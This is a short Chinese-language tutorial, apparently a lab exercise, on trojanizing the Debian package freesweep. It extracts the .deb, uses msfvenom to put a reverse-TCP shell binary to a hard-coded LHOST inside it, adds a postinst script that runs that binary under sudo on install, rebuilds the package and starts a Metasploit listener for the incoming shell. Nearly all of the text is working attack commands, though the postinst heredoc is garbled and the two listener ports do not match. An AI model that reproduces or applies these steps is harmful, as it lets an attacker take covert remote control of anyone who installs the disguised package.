1.
制作恶意软件包使用–download-only方式下载软件安装包包不进行安装
apt --download-only install freesweep
将软件包移动到root目录
mv /var/cache/apt/archives/freesweep_1.0.1-1_amd64.deb ~/
解压软件包到free目录
dpkg -x freesweep_1.0.1-1_amd64.deb free
生成恶意代码到软件包源文件里
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.43.132 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources
创建软件包信息目录
mkdir free/DEBIAN && cd free/DEBIAN
创建软件包的信息文件
tee /root/free/DEBIAN/control << 'EOF#!/bin/bash sudo chmod 2755 /usr/games/freesweep_sources sudo /usr/games/freesweep_sources & EOF
给脚本文件添加执行权限
/free/DEBIAN# chmod 755 /root/free/DEBIAN/postinst构建新的deb安装dpkg-deb --build /root/free/
ls /root/free.deb
新打开一个终端 CTRL+SHIFT+T,生成MSF监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.43.132
set LPORT 8888
exploit
成功.